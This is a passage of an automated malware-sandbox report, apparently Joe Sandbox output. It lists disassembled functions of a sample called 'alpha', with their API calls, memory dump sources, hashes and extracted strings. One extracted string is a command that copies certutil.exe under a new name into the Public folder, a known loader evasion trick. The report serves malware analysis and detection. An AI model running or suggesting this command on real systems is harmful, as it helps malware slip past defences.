                                                                                      • Instruction ID: 9a63d12a793fad99d2d761a89b7c4d1286a497b48ff6ee16010b1b6361fd7e9f
                                                                                      • Opcode Fuzzy Hash: 43a4daf2934dc4b37ff691b1a4b1263eebb1773a1fb1ad015dd0d80b276b2dc6
                                                                                      • Instruction Fuzzy Hash: CFD1D373A1868286F764AF21E4402BAB7A1FB44794FA05136EF4E87798DF3CE641C710
                                                                                      Function 00007FF78CF47D30 Relevance: 3.3, APIs: 2, Instructions: 252COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • memset.MSVCRT ref: 00007FF78CF47DA1
                                                                                        • Part of subcall function 00007FF78CF5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF78CF541AD
                                                                                        • Part of subcall function 00007FF78CF4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D46E
                                                                                        • Part of subcall function 00007FF78CF4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D485
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D4EE
                                                                                        • Part of subcall function 00007FF78CF4D3F0: iswspace.MSVCRT ref: 00007FF78CF4D54D
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D569
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D58C
                                                                                      • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF78CF47EB7
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heapmemset$AllocCurrentDirectoryProcessiswspace
                                                                                      • String ID:
                                                                                      • API String ID: 168394030-0
                                                                                      • Opcode ID: a65c63928f551fb8768bc8e3d10b498b84304c82453fdb636945e23039fb0caa
                                                                                      • Instruction ID: 6e465cf2bac2d379de73736f3c96d2b5f200ce873b881f8324044fc1b0214fa4
                                                                                      • Opcode Fuzzy Hash: a65c63928f551fb8768bc8e3d10b498b84304c82453fdb636945e23039fb0caa
                                                                                      • Instruction Fuzzy Hash: 08A1E723B08A4286FB64AF25D8506B9A391FF85784FE04135DB1E87AE5DF3DE545C320
                                                                                      Function 00007FF78CF589E4 Relevance: 3.0, APIs: 2, Instructions: 43nativeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: InformationQueryToken
                                                                                      • String ID:
                                                                                      • API String ID: 4239771691-0
                                                                                      • Opcode ID: ea3ebf219b67d46e5b1987a5c063cf7b613a027b1816fa6f4767aceb48b770b4
                                                                                      • Instruction ID: 71a39f1081f320d2c5a100f809214a4f221dad04acdf9918d38ed5e50266c864
                                                                                      • Opcode Fuzzy Hash: ea3ebf219b67d46e5b1987a5c063cf7b613a027b1816fa6f4767aceb48b770b4
                                                                                      • Instruction Fuzzy Hash: 2D115E77A58781DBFB109F01E4003A9FBA4FB85795FA08131DB4843AA4DB7DE688CB51
                                                                                      Function 00007FF78CF58114 Relevance: 3.0, APIs: 2, Instructions: 41filenativeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: FileInformation$HandleQueryVolume
                                                                                      • String ID:
                                                                                      • API String ID: 2149833895-0
                                                                                      • Opcode ID: 625d3b3e026192d6aa05ab746e3d747582aa1c91c48dbe730e9190b973acbc48
                                                                                      • Instruction ID: 80ce935ef265f29f755ba394484e84f9bf8ad73dda2da5aa98f52aff5a5625cd
                                                                                      • Opcode Fuzzy Hash: 625d3b3e026192d6aa05ab746e3d747582aa1c91c48dbe730e9190b973acbc48
                                                                                      • Instruction Fuzzy Hash: 651191326086C286F7609B51F4417AAF7A0FB44B44FA15131DB9D82E54DFBCD548CB10
                                                                                      Function 00007FF78CF68654 Relevance: 3.0, APIs: 2, Instructions: 39timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,00000000,00007FF78CF64227), ref: 00007FF78CF68678
                                                                                      • SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?,?,?,?,?,00000000,00007FF78CF64227), ref: 00007FF78CF686D4
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Time$System$File
                                                                                      • String ID:
                                                                                      • API String ID: 2838179519-0
                                                                                      • Opcode ID: 62ebdb23c5db016c2826862ffbff753f6fa70ff692e943220732cd29ca21f8c9
                                                                                      • Instruction ID: adca175bd6d1be931b3371ed90ea9bcdf5da8f331c46167277d9910fb4337bb6
                                                                                      • Opcode Fuzzy Hash: 62ebdb23c5db016c2826862ffbff753f6fa70ff692e943220732cd29ca21f8c9
                                                                                      • Instruction Fuzzy Hash: 9011705B528680C5EB249F21E00113AB370FF9CB09B649126FA8D82764EB3CC942CB29
                                                                                      Function 00007FF78CF48510 Relevance: 1.7, APIs: 1, Instructions: 177COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D46E
                                                                                        • Part of subcall function 00007FF78CF4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D485
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D4EE
                                                                                        • Part of subcall function 00007FF78CF4D3F0: iswspace.MSVCRT ref: 00007FF78CF4D54D
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D569
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D58C
                                                                                      • towupper.MSVCRT ref: 00007FF78CF485D4
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heap$AllocProcessiswspacetowupper
                                                                                      • String ID:
                                                                                      • API String ID: 3520273530-0
                                                                                      • Opcode ID: 4bf984449d6576c9e1357fbba499d80d7c4b4475721f5272d0d4c1e3d8a5570f
                                                                                      • Instruction ID: 892d66384077e5f42d8432afcfc5261668d9d364813c6b09d4de4298c61f9e06
                                                                                      • Opcode Fuzzy Hash: 4bf984449d6576c9e1357fbba499d80d7c4b4475721f5272d0d4c1e3d8a5570f
                                                                                      • Instruction Fuzzy Hash: 5061B123A0C20286F7A5BF24D51477DB6A0FB04758FA08136EB1E9A6D5DF3CA994C731
                                                                                      Function 00007FF78CF5898C Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: InformationQueryToken
                                                                                      • String ID:
                                                                                      • API String ID: 4239771691-0
                                                                                      • Opcode ID: 7517614d59da3da2d62857270a17558918b7290ddd6fc4d467c09f47fe27c059
                                                                                      • Instruction ID: 17ecc382a3834ee469f471e2cfe18dc22031ba64cf256553b0af7b166926af11
                                                                                      • Opcode Fuzzy Hash: 7517614d59da3da2d62857270a17558918b7290ddd6fc4d467c09f47fe27c059
                                                                                      • Instruction Fuzzy Hash: EAF030B7714B81CBD7009F64E58449CB778F744B84BA5C53ACB2803704DB75D9A4CB50
                                                                                      Function 00007FF78CF593B0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF593BB
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ExceptionFilterUnhandled
                                                                                      • String ID:
                                                                                      • API String ID: 3192549508-0
                                                                                      • Opcode ID: eff4557ae00fe4591a940a5480948ed29a826f3915cdbc5be4334919315eb20c
                                                                                      • Instruction ID: 2a3e05dcab352cd0f4340db781140d01475ca20878da5c391d0e511124c85dfb
                                                                                      • Opcode Fuzzy Hash: eff4557ae00fe4591a940a5480948ed29a826f3915cdbc5be4334919315eb20c
                                                                                      • Instruction Fuzzy Hash: 65B09211E65482E1E608BB219C8206452A07B58710FE00471D20E84160DE1C939BC710
                                                                                      Function 00007FF78CF4F8C0 Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 380COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00000000,?,00007FF78CF4F52A,00000000,00000000,?,00000000,?,00007FF78CF4E626,?,?,00000000,00007FF78CF51F69), ref: 00007FF78CF4F8DE
                                                                                      • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F8FB
                                                                                      • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F951
                                                                                      • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F96B
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4FA8E
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF4FB14
                                                                                      • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4FB2D
                                                                                      • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4FBEA
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF4F996
                                                                                        • Part of subcall function 00007FF78CF50010: SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF78CF6849D,?,?,?,00007FF78CF6F0C7), ref: 00007FF78CF50045
                                                                                        • Part of subcall function 00007FF78CF50010: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF78CF6F0C7,?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF50071
                                                                                        • Part of subcall function 00007FF78CF50010: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF50092
                                                                                        • Part of subcall function 00007FF78CF50010: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF78CF500A7
                                                                                        • Part of subcall function 00007FF78CF50010: MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF78CF50181
                                                                                      • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF5D401
                                                                                      • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF5D41B
                                                                                      • longjmp.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF5D435
                                                                                      • longjmp.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF5D480
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CriticalSection$EnterFileLeave$LockPointerShared_get_osfhandlelongjmp$AcquireByteCharErrorLastMultiReadReleaseWidewcschr
                                                                                      • String ID: =,;$extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                                                      • API String ID: 3964947564-518410914
                                                                                      • Opcode ID: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
                                                                                      • Instruction ID: f557c72217642f0c42506c50daaf8cb15e392211c7f59590938077ff172880de
                                                                                      • Opcode Fuzzy Hash: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
                                                                                      • Instruction Fuzzy Hash: 92028D23A19643DBFB18BB20EA40578F6A1FF45B54FF48135EA0E966A4DF3CA504C320
                                                                                      Function 00007FF78CF502A0 Relevance: 35.3, APIs: 13, Strings: 7, Instructions: 279COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmp$iswspacewcschr
                                                                                      • String ID: ;$=,;$FOR$FOR/?$IF/?$REM$REM/?
                                                                                      • API String ID: 840959033-3627297882
                                                                                      • Opcode ID: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
                                                                                      • Instruction ID: 144734304fe46ddbb18f6b4c4e1fbaf6b56baefd8ae434f6c572dc3a742f7174
                                                                                      • Opcode Fuzzy Hash: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
                                                                                      • Instruction Fuzzy Hash: 0AD17A23E1864386FB50BB21A8452B9FAA0BF55B44FF49035EB1D862A5DF3CE549C730
                                                                                      Function 00007FF78CF5081C Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 130COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmp$EnvironmentVariable
                                                                                      • String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$CMDCMDLINE$CMDEXTVERSION$DATE$ERRORLEVEL$HIGHESTNUMANODENUMBER$RANDOM$TIME
                                                                                      • API String ID: 198002717-267741548
                                                                                      • Opcode ID: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
                                                                                      • Instruction ID: 803522a9fdacd6efb3dd0c3d0d656674f01e15df8a3aa020b49c50a16c4c0cff
                                                                                      • Opcode Fuzzy Hash: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
                                                                                      • Instruction Fuzzy Hash: D5512C62A08683D6FA106F15B811679EBA0FF49B81FE5A035EB0E83754DF3CE108C761
                                                                                      Function 00007FF78CF4EF40 Relevance: 33.7, APIs: 16, Strings: 3, Instructions: 465COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF78CF4E626,?,?,00000000,00007FF78CF51F69), ref: 00007FF78CF4F000
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F031
                                                                                      • iswdigit.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F0D6
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: iswdigitiswspacewcschr
                                                                                      • String ID: ()|&=,;"$=,;$Ungetting: '%s'
                                                                                      • API String ID: 1595556998-2755026540
                                                                                      • Opcode ID: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
                                                                                      • Instruction ID: fefb16fa27937b5803b91dc1b87056dd6748f0caa4554f047c340e72940f2613
                                                                                      • Opcode Fuzzy Hash: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
                                                                                      • Instruction Fuzzy Hash: 5F229D67E0D69382FA60BB15E54067AE6A0FF04791FF09132EA8D5A6E4DF3CA445C730
                                                                                      Function 00007FF78CF4D3F0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 310memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Processwcschr$Alloc$Sizeiswspace
                                                                                      • String ID: "$=,;
                                                                                      • API String ID: 3545743878-4143597401
                                                                                      • Opcode ID: 41b55f4c43934df12ec69819f95cbaf5faa5e7209c82e771a15df21cb83dbe60
                                                                                      • Instruction ID: 1bcaf7813d95aaab40112f8923fbae2abb84c947046c032c71f4f6b8c604e83b
                                                                                      • Opcode Fuzzy Hash: 41b55f4c43934df12ec69819f95cbaf5faa5e7209c82e771a15df21cb83dbe60
                                                                                      • Instruction Fuzzy Hash: FEC18C67A0969283FB656B11E4107B9F6E0FF49F84FA99075DE4E0B394EF3CA445C220
                                                                                      Function 00007FF78CF65BF4 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 153windowthreadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
